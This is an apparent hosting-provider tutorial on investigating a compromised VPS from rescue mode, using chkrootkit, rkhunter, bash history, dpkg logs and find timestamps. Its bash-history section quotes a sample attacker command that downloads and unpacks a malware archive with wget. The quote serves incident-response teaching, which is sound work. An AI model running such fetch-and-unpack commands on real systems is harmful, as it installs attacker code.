Continuing from the previous article on checking your slice for possible security compromises, this entry will discuss using the Slice Manager's rescue mode to take a closer look at your system.
We covered some basic techniques to collect the necessary information for tracking intruders in the previous article. We cannot trust binaries on a compromised slice since they can be trojaned by attackers.
Fortunately the Slice Manager provides us with a 'Rescue' mode to help troubleshoot these issues. We will use 'Rescue' mode to get more idea about how our slice was compromised and to determine non-compromised files before backing up the data.
We cannot rely on our slice's operating system since it might be compromised too. The attacker could have trojaned binaries such as 'ls', 'find', and 'netstat', so their output could mislead you. Consequently, we need to use a different operating system environment to investigate the compromise safely.
This can be done by using the 'Rescue Mode' feature provided by the Slice Manager. First, go to the Slice Manager, click the slice and then click the 'Rescue' link. The rescue boot will use your current slice IP and OS distribution. Your original Slice devices will be accessible within the rescue mode either as /dev/sda1 (root) and /dev/sda2 (swap), or as /dev/xvdb1 (root) and /dev/xvdb2 (swap). The device will differ depending on the distribution image used to build your slice.
A temporary root password will be flashed when the image has booted. Note: the SSH server key on the rescue image will be different from that on your regular slice.
Rescue mode is limited to 90 minutes, after which the rescue image is destroyed and the Slice will attempt to reboot. You may end the rescue mode at any time. You will receive an email upon completion.
You can see the root password on the next screen. There are three important things to keep in mind when connecting to the slice in this mode.
1- The root password you use in rescue mode is different from your regular root password.
2- SSH login for the rescue mode uses password-based authentication even though you may have key-based authentication on the original slice.
3- You need to use port number 22 for the ssh connection.
Configure your ssh client according to these three points and make an ssh connection to the slice.
Mount the file system of the original slice into /mnt/demo:
mkdir /mnt/demo mount /dev/sda1 /mnt/demo
Scanning Rootkits: Chkrootkit and rkhunter
There are several tools we recommend you install to scan your files. You can find them in the rootkit subsection of the Security section of our articles repository. I would recommend installing chkrootkit using your package manager rather than compiling from source.
apt-get install chkrootkit
We need to run chkrootkit against the mounted file system of the normal slice:
chkrootkit -r /mnt/demo
After you install rkhunter following this article you can run it against /mnt/demo.
rkhunter -c -r /mnt/demo
Checking Last Commands
We should check what users ran before the slice was compromised. This can give us an idea of how the slice security was breached.
The .bashhistory file contains the last commands used with the bash shell. We need to check .bashhistory files in each users' home directories. The most important .bashhistory file is the one belonging to root: /root/.bashhistory.
A compromised slice may have entries like the following:
wget http://malware.tar.gz gunzip malware.tar.gz tar xf malware.tar
Checking Installed Packages
All changes to the packaging system are stored in /var/log/dpkg.log on Debian-based distributions.
tail 50 /mnt/demo/var/log/dpkg.log
This will show the last 50 lines of the dpkg.log file. We need to check this file for any suspicious activity like installed or removed packages, or a modified bus.
The 'find' command is usually used to find filenames which have specific patterns. However, we can also use it to find the files modified/accessed within a specific time period.
For example we can find all files in /etc owned by root that have been modified within the last 2 days:
find /mnt/demo/etc -user root -mtime -2
The options we can use here are:
-atime: when the file was last accessed -ctime: when the file's permissions were last changed -mtime: when the file's data was last modified
You may have noticed that we have a minus sign in front of '2' in the last example. The 'time' options for the find command are expressed in 24-hour increments, and the sign in front of the number can indicate 'less than' or 'greater than'. Thus '-2' means we want to find files which were modified within the last two days. If we wanted to find files that were modified more than 2 days ago, we would need to put a plus sign in front of the 2:
find /mnt/demo/etc -user root -mtime +2
There are also versions of the atime, ctime, and mtime arguments that measure time in minutes:
-amin: when (in minutes) the file was last accessed -cmin: when (in minutes) the file's permissions were last changed -mmin: when (in minutes) the file's data was last modified
Let's find all files in our slice owned by the demo user that have been accessed within the last five minutes:
find /mnt/demo -user demo -amin -5
The following list of find command options might be useful during the compromised slice investigation:
-nouser: shows output that's not associated with an existing userid -nogroup: shows output not associated with an existing groupid -links n: file has n links -newer file: file was modified more recently than file. -perm mode: file has mode permissions.
Checking Logs and Suspicious files
We may find the culprit by checking suspicious files in /tmp, /var/tmp, /dev/shm, /var/spool/samba, /var/spool/squid, and /var/spool/cron.
Another place to look would be log files in the /var/log directory. For example, auth.log records user logon information including their IP address.
In this article we learned how to investigate our slice in rescue mode. The next step is to back up the data and rebuild the slice.